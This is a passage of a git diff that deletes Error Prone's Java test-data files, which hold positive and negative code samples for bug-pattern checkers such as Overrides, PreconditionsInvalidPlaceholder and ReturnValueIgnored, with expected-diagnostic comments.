a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase2.java +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * This tests the case where there is a chain of method overrides where the varargs constraint is - * not met, and the root is a varargs parameter. TODO(cushon): The original implementation tried to - * be clever and make this consistent, but didn't handle multiple interface inheritance. - * - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class OverridesPositiveCase2 { - abstract class Base { - abstract void varargsMethod(Object... xs); - } - - abstract class SubOne extends Base { - @Override - // BUG: Diagnostic contains: - abstract void varargsMethod(Object[] newNames); - } - - abstract class SubTwo extends SubOne { - @Override - // BUG: Diagnostic contains: - abstract void varargsMethod(Object... xs); - } - - abstract class SubThree extends SubTwo { - @Override - // BUG: Diagnostic contains: - abstract void varargsMethod(Object[] newNames); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase3.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase3.java deleted file mode 100644 index dd599cfadfb..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase3.java +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * This tests the case where there is a chain of method overrides where the varargs constraint is - * not met, and the root has an array parameter. TODO(cushon): The original implementation tried to - * be clever and make this consistent, but didn't handle multiple interface inheritance. - * - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class OverridesPositiveCase3 { - abstract class Base { - abstract void arrayMethod(Object[] xs); - } - - abstract class SubOne extends Base { - @Override - // BUG: Diagnostic contains: - abstract void arrayMethod(Object... newNames); - } - - abstract class SubTwo extends SubOne { - @Override - // BUG: Diagnostic contains: - abstract void arrayMethod(Object[] xs); - } - - abstract class SubThree extends SubTwo { - @Override - // BUG: Diagnostic contains: - abstract void arrayMethod(Object... newNames); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase4.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase4.java deleted file mode 100644 index 8d7f0447d15..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase4.java +++ /dev/null @@ -1,45 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Map; - -/** - * Test that the suggested fix is correct in the presence of whitespace, comments. - * - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class OverridesPositiveCase4 { - - @interface Note { } - - abstract class Base { - abstract void varargsMethod(@Note final Map... xs); - abstract void arrayMethod(@Note final Map[] xs); - } - - abstract class Child1 extends Base { - @Override - // BUG: Diagnostic contains: (@Note final Map /* asd */ [] /* dsa */ xs); - abstract void arrayMethod(@Note final Map /* asd */ ... /* dsa */ xs); - } - - abstract class Child2 extends Base { - @Override - //TODO(cushon): improve testing infrastructure so we can enforce that no fix is suggested. - // BUG: Diagnostic contains: Varargs - abstract void varargsMethod(@Note final Map /*dsa*/ [ /* [ */ ] /* dsa */ xs); - } -} \ No newline at end of file diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase5.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase5.java deleted file mode 100644 index 6d55dbe6a62..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase5.java +++ /dev/null @@ -1,42 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class OverridesPositiveCase5 { - - abstract class Base { - abstract void varargsMethod(Object[] xs, Object... ys); - - abstract void arrayMethod(Object[] xs, Object[] ys); - } - - abstract class Child1 extends Base { - @Override - // BUG: Diagnostic contains: Did you mean 'abstract void arrayMethod(Object[] xs, Object[] ys);' - abstract void arrayMethod(Object[] xs, Object... ys); - - @Override - // BUG: Diagnostic contains: Did you mean 'abstract void varargsMethod(Object[] xs, Object... - // ys);' - abstract void varargsMethod(Object[] xs, Object[] ys); - - void foo(Base base) { - base.varargsMethod(null, new Object[] {}, new Object[] {}, new Object[] {}, new Object[] {}); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PreconditionsInvalidPlaceholderNegativeCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PreconditionsInvalidPlaceholderNegativeCase1.java deleted file mode 100644 index 83d5c457c98..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PreconditionsInvalidPlaceholderNegativeCase1.java +++ /dev/null @@ -1,43 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.base.Preconditions.checkArgument; - -import com.google.common.base.Preconditions; - -public class PreconditionsInvalidPlaceholderNegativeCase1 { - Integer foo; - - public void checkPositive(int x) { - checkArgument(x > 0, "%s > 0", x); - } - - public void checkTooFewArgs(int x) { - checkArgument(x > 0, "%s %s", x); - } - - public void checkFoo() { - Preconditions.checkState(foo.intValue() == 0, "foo must be equal to 0 but was %s", foo); - } - - public static void checkNotNull(Object foo, String bar, Object baz) {} - - public void checkSelf() { - checkNotNull(foo, "Foo", this); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PreconditionsInvalidPlaceholderPositiveCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PreconditionsInvalidPlaceholderPositiveCase1.java deleted file mode 100644 index 8e043c7f943..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PreconditionsInvalidPlaceholderPositiveCase1.java +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.base.Preconditions.checkArgument; - -import com.google.common.base.Preconditions; -import com.google.common.base.Verify; - -public class PreconditionsInvalidPlaceholderPositiveCase1 { - int foo; - - public void checkPositive(int x) { - // BUG: Diagnostic contains: %s > 0 - checkArgument(x > 0, "%d > 0", x); - } - - public void checkFoo() { - // BUG: Diagnostic contains: foo must be equal to 0 but was %s - Preconditions.checkState(foo == 0, "foo must be equal to 0 but was {0}", foo); - } - - public void verifyFoo(int x) { - // BUG: Diagnostic contains: - Verify.verify(x > 0, "%d > 0", x); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrimitiveArrayPassedToVarargsMethodNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrimitiveArrayPassedToVarargsMethodNegativeCases.java deleted file mode 100644 index 90fa44d9d5e..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrimitiveArrayPassedToVarargsMethodNegativeCases.java +++ /dev/null @@ -1,37 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class PrimitiveArrayPassedToVarargsMethodNegativeCases { - - public void intVarargsMethod(int... ints) {} - - public void intArrayVarargsMethod(int[]... intArrays) {} - - public void objectVarargsMethodWithMultipleParams(Object obj1, Object... objs) {} - - public void doIt() { - int[] intArray = {1, 2, 3}; - - intVarargsMethod(intArray); - intArrayVarargsMethod(intArray); - objectVarargsMethodWithMultipleParams(new Object()); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrimitiveArrayPassedToVarargsMethodPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrimitiveArrayPassedToVarargsMethodPositiveCases.java deleted file mode 100644 index 64c390b0374..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrimitiveArrayPassedToVarargsMethodPositiveCases.java +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Arrays; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class PrimitiveArrayPassedToVarargsMethodPositiveCases { - - public void objectVarargsMethod(Object... objs) {} - - public void genericVarargsMethod(T... genericArrays) {} - - public void objectVarargsMethodWithMultipleParams(Object obj1, Object... objs) {} - - public void doIt() { - int[] intArray = {1, 2, 3}; - - // BUG: Diagnostic contains: - objectVarargsMethod(intArray); - - // BUG: Diagnostic contains: - genericVarargsMethod(intArray); - - // BUG: Diagnostic contains: - objectVarargsMethodWithMultipleParams(new Object(), intArray); - - // BUG: Diagnostic contains: - Arrays.asList(intArray); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrivateSecurityContractProtoAccessNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrivateSecurityContractProtoAccessNegativeCases.java deleted file mode 100644 index fd0e83ee2ac..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrivateSecurityContractProtoAccessNegativeCases.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.html.types.SafeHtml; -import com.google.common.html.types.SafeHtmlProto; -import com.google.common.html.types.SafeHtmls; - -public class PrivateSecurityContractProtoAccessNegativeCases { - static SafeHtmlProto safeHtmlProto; - - static { - safeHtmlProto = SafeHtmls.toProto(SafeHtml.EMPTY); - } - - static SafeHtml safeHtml; - - static { - safeHtml = SafeHtmls.fromProto(safeHtmlProto); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrivateSecurityContractProtoAccessPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrivateSecurityContractProtoAccessPositiveCases.java deleted file mode 100644 index b291dd9ca69..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrivateSecurityContractProtoAccessPositiveCases.java +++ /dev/null @@ -1,72 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.html.types.SafeHtmlProto; -import com.google.protobuf.ByteString; - -public class PrivateSecurityContractProtoAccessPositiveCases { - static SafeHtmlProto safeHtmlProto; - - static { - safeHtmlProto = - SafeHtmlProto.newBuilder() - // BUG: Diagnostic contains: Forbidden access to a private proto field - .clearPrivateDoNotAccessOrElseSafeHtmlWrappedValue() - // BUG: Diagnostic contains: Forbidden access to a private proto field - .setPrivateDoNotAccessOrElseSafeHtmlWrappedValue("foo") - .build(); - } - - static SafeHtmlProto safeHtmlProtoFromBytes; - - static { - safeHtmlProtoFromBytes = - SafeHtmlProto.newBuilder() - // BUG: Diagnostic contains: Forbidden access to a private proto field - .setPrivateDoNotAccessOrElseSafeHtmlWrappedValueBytes(ByteString.copyFromUtf8("foo")) - .build(); - } - - static String readSafeHtmlProto(SafeHtmlProto safeHtmlProto) { - // BUG: Diagnostic contains: Forbidden access to a private proto field - if (safeHtmlProto.hasPrivateDoNotAccessOrElseSafeHtmlWrappedValue()) { - // BUG: Diagnostic contains: Forbidden access to a private proto field - return safeHtmlProto.getPrivateDoNotAccessOrElseSafeHtmlWrappedValue(); - } - return ""; - } - - static ByteString readSafeHtmlProtoBytes(SafeHtmlProto safeHtmlProto) { - // BUG: Diagnostic contains: Forbidden access to a private proto field - return safeHtmlProto.getPrivateDoNotAccessOrElseSafeHtmlWrappedValueBytes(); - } - - static String readSafeHtmlProtoBuilder(SafeHtmlProto.Builder safeHtmlProto) { - // BUG: Diagnostic contains: Forbidden access to a private proto field - if (safeHtmlProto.hasPrivateDoNotAccessOrElseSafeHtmlWrappedValue()) { - // BUG: Diagnostic contains: Forbidden access to a private proto field - return safeHtmlProto.getPrivateDoNotAccessOrElseSafeHtmlWrappedValue(); - } - return ""; - } - - static ByteString readSafeHtmlProtoBuilderBytes(SafeHtmlProto.Builder safeHtmlProto) { - // BUG: Diagnostic contains: Forbidden access to a private proto field - return safeHtmlProto.getPrivateDoNotAccessOrElseSafeHtmlWrappedValueBytes(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ProtocolBufferOrdinalNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ProtocolBufferOrdinalNegativeCases.java deleted file mode 100644 index 9b20839a2f5..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ProtocolBufferOrdinalNegativeCases.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.bugpatterns.proto.ProtoTest.TestEnum; - -/** Negative test cases for {@link ProtocolBufferOrdinal} check. */ -public class ProtocolBufferOrdinalNegativeCases { - - public static void checkProtoEnum() { - TestEnum.TEST_ENUM_VAL.getNumber(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ProtocolBufferOrdinalPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ProtocolBufferOrdinalPositiveCases.java deleted file mode 100644 index 33bcf1fae73..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ProtocolBufferOrdinalPositiveCases.java +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.bugpatterns.proto.ProtoTest.TestEnum; - -/** Positive test cases for {@link ProtocolBufferOrdinal} check. */ -public class ProtocolBufferOrdinalPositiveCases { - - public static void checkCallOnOrdinal() { - // BUG: Diagnostic contains: ProtocolBufferOrdinal - TestEnum.TEST_ENUM_VAL.ordinal(); - - // BUG: Diagnostic contains: ProtocolBufferOrdinal - ProtoLiteEnum.FOO.ordinal(); - } - - enum ProtoLiteEnum implements com.google.protobuf.Internal.EnumLite { - FOO(1), - BAR(2); - private final int number; - - private ProtoLiteEnum(int number) { - this.number = number; - } - - @Override - public int getNumber() { - return number; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RethrowReflectiveOperationExceptionAsLinkageErrorNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RethrowReflectiveOperationExceptionAsLinkageErrorNegativeCases.java deleted file mode 100644 index 6573602ee12..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RethrowReflectiveOperationExceptionAsLinkageErrorNegativeCases.java +++ /dev/null @@ -1,69 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.IOException; - -public class RethrowReflectiveOperationExceptionAsLinkageErrorNegativeCases { - void assertionErrorNonStringConstructor() { - try { - throw new ReflectiveOperationException(); - } catch (ReflectiveOperationException e) { - throw new AssertionError(1); - } - } - - void assertionErrorNoArgConstructor() { - try { - throw new ReflectiveOperationException(); - } catch (ReflectiveOperationException e) { - throw new AssertionError(); - } - } - - void noThrowAssertionError() { - try { - throw new ReflectiveOperationException(); - } catch (ReflectiveOperationException e) { - throw new IllegalStateException(e); - } - } - - void noCatchReflectiveOperationException() { - try { - throw new ReflectiveOperationException(); - } catch (Exception e) { - throw new AssertionError(e); - } - } - - void multiCatchExceptions() { - try { - int a = 100; - if (a < 100) { - throw new IOException("Test"); - } - throw new ReflectiveOperationException(); - } catch (IOException | ReflectiveOperationException e) { - throw new AssertionError(e); - } - } - - void throwNewReflectiveOperationException() { - throw new AssertionError(new ReflectiveOperationException("Test")); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RethrowReflectiveOperationExceptionAsLinkageErrorPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RethrowReflectiveOperationExceptionAsLinkageErrorPositiveCases.java deleted file mode 100644 index 3727561186a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RethrowReflectiveOperationExceptionAsLinkageErrorPositiveCases.java +++ /dev/null @@ -1,64 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -public class RethrowReflectiveOperationExceptionAsLinkageErrorPositiveCases { - void assertionErrorExceptionConstructor() { - try { - throw new ReflectiveOperationException(); - } catch (ReflectiveOperationException e) { - // BUG: Diagnostic contains: throw new LinkageError(e.getMessage(), e); - throw new AssertionError(e); - } - } - - void assertionErrorStringConstructor() { - try { - throw new ReflectiveOperationException(); - } catch (ReflectiveOperationException e) { - // BUG: Diagnostic contains: throw new LinkageError("Test", e); - throw new AssertionError("Test", e); - } - } - - void assertionErrorStringFormatConstructor() { - try { - throw new ReflectiveOperationException(); - } catch (ReflectiveOperationException e) { - // BUG: Diagnostic contains: throw new LinkageError(String.format("Test"), e); - throw new AssertionError(String.format("Test"), e); - } - } - - void multiLineCatchBlock() { - try { - throw new ReflectiveOperationException(); - } catch (ReflectiveOperationException e1) { - int a = 100; - if (a < 100) { - try { - throw new ReflectiveOperationException(); - } catch (ReflectiveOperationException e2) { - // BUG: Diagnostic contains: throw new LinkageError(e2.getMessage(), e2); - throw new AssertionError(e2); - } - } - // BUG: Diagnostic contains: throw new LinkageError(e1.getMessage(), e1); - throw new AssertionError(e1); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ReturnValueIgnoredNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ReturnValueIgnoredNegativeCases.java deleted file mode 100644 index b2196924104..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ReturnValueIgnoredNegativeCases.java +++ /dev/null @@ -1,71 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.math.BigInteger; -import java.util.Arrays; -import java.util.HashMap; -import java.util.Map; -import java.util.function.Function; - -/** - * @author alexeagle@google.com (Alex Eagle) - */ -public class ReturnValueIgnoredNegativeCases { - - private String a = "thing"; - - { - String b = a.trim(); - System.out.println(a.trim()); - new String(new BigInteger(new byte[] {0x01}).add(BigInteger.ONE).toString()); - } - - String run() { - return a.trim(); - } - - public void methodDoesntMatch() { - Map map = new HashMap(); - map.put("test", 1); - } - - public void methodDoesntMatch2() { - final String b = a.toString().trim(); - } - - public void acceptFunctionOfVoid(Function arg) { - arg.apply(5); - } - - public void passReturnValueCheckedMethodReferenceToFunctionVoid() { - Function fn = (i -> null); - acceptFunctionOfVoid(fn::apply); - } - - public void arraysReturnValues() { - int[] numbers = {5, 4, 3, 2, 1}; - int result = Arrays.binarySearch(numbers, 3); - int hashCode = Arrays.hashCode(numbers); - } - - public void arraysNoReturnValues() { - int[] numbers = {5, 4, 3, 2, 1}; - Arrays.fill(numbers, 0); - Arrays.sort(numbers); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ReturnValueIgnoredPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ReturnValueIgnoredPositiveCases.java deleted file mode 100644 index 3faed29eadb..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ReturnValueIgnoredPositiveCases.java +++ /dev/null @@ -1,165 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.IOException; -import java.math.BigDecimal; -import java.math.BigInteger; -import java.nio.file.Path; -import java.nio.file.Paths; -import java.util.Arrays; -import java.util.Locale; - -/** - * @author alexeagle@google.com (Alex Eagle) - */ -public class ReturnValueIgnoredPositiveCases { - String a = "thing"; - - // BUG: Diagnostic contains: Return value of 'valueOf' must be used - private Runnable r = () -> String.valueOf(""); - - { // String methods - // BUG: Diagnostic contains: remove this line - String.format("%d", 10); - // BUG: Diagnostic contains: remove this line - String.format("%d", 10).trim(); - // BUG: Diagnostic contains: remove this line - java.lang.String.format("%d", 10).trim(); - // BUG: Diagnostic contains: a = a.intern() - a.intern(); - // BUG: Diagnostic contains: a = a.trim() - a.trim(); - // BUG: Diagnostic contains: a = a.trim().concat("b") - a.trim().concat("b"); - // BUG: Diagnostic contains: a = a.concat("append this") - a.concat("append this"); - // BUG: Diagnostic contains: a = a.replace('t', 'b') - a.replace('t', 'b'); - // BUG: Diagnostic contains: a = a.replace("thi", "fli") - a.replace("thi", "fli"); - // BUG: Diagnostic contains: a = a.replaceAll("i", "b") - a.replaceAll("i", "b"); - // BUG: Diagnostic contains: a = a.replaceFirst("a", "b") - a.replaceFirst("a", "b"); - // BUG: Diagnostic contains: a = a.toLowerCase() - a.toLowerCase(); - // BUG: Diagnostic contains: a = a.toLowerCase(Locale.ENGLISH) - a.toLowerCase(Locale.ENGLISH); - // BUG: Diagnostic contains: a = a.toUpperCase() - a.toUpperCase(); - // BUG: Diagnostic contains: a = a.toUpperCase(Locale.ENGLISH) - a.toUpperCase(Locale.ENGLISH); - // BUG: Diagnostic contains: a = a.substring(0) - a.substring(0); - // BUG: Diagnostic contains: a = a.substring(0, 1) - a.substring(0, 1); - } - - StringBuffer sb = new StringBuffer("hello"); - - { - // BUG: Diagnostic contains: - sb.toString().trim(); - } - - BigInteger b = new BigInteger("123456789"); - - { // BigInteger methods - // BUG: Diagnostic contains: b = b.add(new BigInteger("3")) - b.add(new BigInteger("3")); - // BUG: Diagnostic contains: b = b.abs() - b.abs(); - // BUG: Diagnostic contains: b = b.shiftLeft(3) - b.shiftLeft(3); - // BUG: Diagnostic contains: b = b.subtract(BigInteger.TEN) - b.subtract(BigInteger.TEN); - } - - BigDecimal c = new BigDecimal("1234.5678"); - - { // BigDecimal methods - // BUG: Diagnostic contains: c = c.add(new BigDecimal("1.3")) - c.add(new BigDecimal("1.3")); - // BUG: Diagnostic contains: c = c.abs() - c.abs(); - // BUG: Diagnostic contains: c = c.divide(new BigDecimal("4.5")) - c.divide(new BigDecimal("4.5")); - // BUG: Diagnostic contains: - new BigDecimal("10").add(c); - } - - Path p = Paths.get("foo/bar/baz"); - - { // Path methods - // BUG: Diagnostic contains: p = p.getFileName(); - p.getFileName(); - // BUG: Diagnostic contains: p = p.getName(0); - p.getName(0); - // BUG: Diagnostic contains: p = p.getParent(); - p.getParent(); - // BUG: Diagnostic contains: p = p.getRoot(); - p.getRoot(); - // BUG: Diagnostic contains: p = p.normalize(); - p.normalize(); - // BUG: Diagnostic contains: p = p.relativize(p); - p.relativize(p); - // BUG: Diagnostic contains: p = p.resolve(p); - p.resolve(p); - // BUG: Diagnostic contains: p = p.resolve("string"); - p.resolve("string"); - // BUG: Diagnostic contains: p = p.resolveSibling(p); - p.resolveSibling(p); - // BUG: Diagnostic contains: p = p.resolveSibling("string"); - p.resolveSibling("string"); - // BUG: Diagnostic contains: p = p.subpath(0, 1); - p.subpath(0, 1); - // BUG: Diagnostic contains: p = p.toAbsolutePath(); - p.toAbsolutePath(); - try { - // BUG: Diagnostic contains: p = p.toRealPath(); - p.toRealPath(); - } catch (IOException e) { - } - } - - int[] numbers = {5, 4, 3, 2, 1}; - Object[] objects = {new Object(), new Object()}; - - { // Arrays methods - // BUG: Diagnostic contains: Return value of 'asList' must be used - Arrays.asList(5, 4, 3, 2, 1); - // BUG: Diagnostic contains: Return value of 'binarySearch' must be used - Arrays.binarySearch(numbers, 3); - // BUG: Diagnostic contains: Return value of 'copyOf' must be used - Arrays.copyOf(numbers, 3); - // BUG: Diagnostic contains: 